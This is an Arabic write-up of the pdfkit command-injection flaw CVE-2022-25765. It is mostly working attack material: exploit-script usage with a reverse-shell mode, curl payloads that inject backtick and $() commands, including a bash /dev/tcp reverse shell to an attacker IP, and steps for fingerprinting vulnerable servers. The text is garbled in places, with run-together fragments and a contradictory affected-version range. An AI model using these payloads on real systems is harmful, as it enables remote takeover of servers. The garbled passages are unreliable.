
CVE-2022-25765 هي ثغرة حقن أوامر (Command Injection) تؤثر على pdfkit (جوهرة Ruby) في الإصدارات < 0.8.7.2. الثغرة ذات خطورة حرجة بتقييم CVSS 9.8، لأنها تسمح بتنفيذ أوامر عن بُعد دون مصادقة.
تكمن المشكلة في أن pdfkit يمرر معامل url مباشرةً إلى الصدفة دون تعقيم. تقوم المكتبة داخليًا بتنفيذ wkhtmltopdf بأمر مشابه لما يلي:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
إذا احتوى عنوان URL على %20 (مسافة بترميز URL) متبوعًا بـ backticks ` أو $()، فإن الصدفة تفسّر المحتوى كأمر وتنفذه.
CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
الكود القابل للاستغلال في pdfkit (source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
يتم إدراج عنوان URL مباشرةً في أمر الصدفة دون تعقيم. بإدراج %20 (مسافة)، يخرج المحتوى بعد المسافة من سياق معامل wkhtmltopdf، ويسمح \` أو $() بتنفيذ أوامر عشوائية.
UNICORDev (@NicPWNs و@Dev-Yeoj)
الاستغلال الأصلي متاح في:
requests, urllib3pip install -r requirements.txt
# وضع الأمر المخصص (يولّد الحمولة)
python3 exploit-CVE-2022-25765.py -c "whoami"
# وضع الـ reverse shell (يولّد الحمولة)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# الوضع عبر الويب — إرسال الأمر مباشرة إلى الموقع الضعيف
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# الوضع عبر الويب — reverse shell مباشرة إلى الموقع الضعيف
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# المساعدة
python3 exploit-CVE-2022-25765.py -h
# الحقن عبر curl
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# أو باستخدام $() بدلًا من backticks
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# أمر بسيط
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
لمعرفة ما إذا كان الخادم ضعيفًا:
Creator: pdfkit v0.8.6# إرسال عنوان URL واستقبال الاستدعاء
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# المستمع: nc -lnvp 4444
# إذا استلمت الطلب مع User-Agent: wkhtmltopdf، فإن التطبيق يحول PDFs
# التحقق من الإصدار في بيانات تعريف PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# ابحث عن: "Generated by pdfkit v0.8.6" (ضعيف)
url لإزالة الأحرف الخطرة (\`، $()، %20)| الحقل | القيمة |
|---|
| CVE | CVE-2022-25765 |
| المنتج | pdfkit (جوهرة Ruby) |
| الإصدارات المتأثرة | 0.0.0 – 0.8.7.2 |
| النوع | Command Injection (CWE-78) |
| المصادقة | غير مطلوبة |
| CVSS 3.1 | 9.8 CRITICAL |
| التصحيح | pdfkit ≥ 0.8.7.2 |
| المعامل | الوصف |
|---|
-c | أمر مخصص |
-s <IP> <PORT> | وضع الـ reverse shell |
-w <URL> | عنوان URL للموقع الضعيف (اختياري) |
-p <param> | معامل POST (اختياري، الافتراضي: url) |
-h | المساعدة |